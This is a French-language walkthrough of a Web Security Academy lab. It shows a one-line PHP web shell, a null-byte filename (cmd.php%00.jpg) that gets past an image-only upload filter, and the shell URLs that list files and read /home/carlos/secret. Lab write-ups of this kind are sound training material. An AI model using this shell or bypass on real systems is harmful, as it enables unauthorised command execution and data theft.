Web shell avec extension de fichier obfusquée

Web shell upload via obfuscated file extension

Lab: Web shell upload via obfuscated file extension | Web Security AcademyWebSecAcademy

Web shell avec extension de fichier obfusquée

Lab : Web shell upload via obfuscated file extension

Objectif

Contourner une blacklist d’extensions lors d’un upload d’image, téléverser un web shell PHP, puis l’utiliser pour lire le contenu de /home/carlos/secret et soumettre le secret.

Accès

• Identifiants : wiener:peter

<?php
system($_GET['cmd']);
?>

Constat

• Upload direct d’un fichier cmd.php (web shell PHP) refusé.

Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file.

L’application n’accepte officiellement que des images JPG/PNG et bloque l’extension .php.

Technique de bypass : Null byte dans le nom de fichier

Idée : obfusquer l’extension réelle en insérant un null byte (%00) avant une extension autorisée.

• Nom de fichier utilisé :

filename="cmd.php%00.jpg"

Le serveur accepte l’upload car il “voit” une extension image (.jpg), mais certaines configurations côté backend peuvent ensuite traiter/retomber sur la partie .php.

Exploitation du web shell

Après upload, le fichier est accessible (dans ce lab) sous :

• /files/avatars/cmd.php

Exécution de commandes :

/files/avatars/cmd.php?cmd=ls -la

Lecture du secret :

/files/avatars/cmd.php?cmd=cat /home/carlos/secret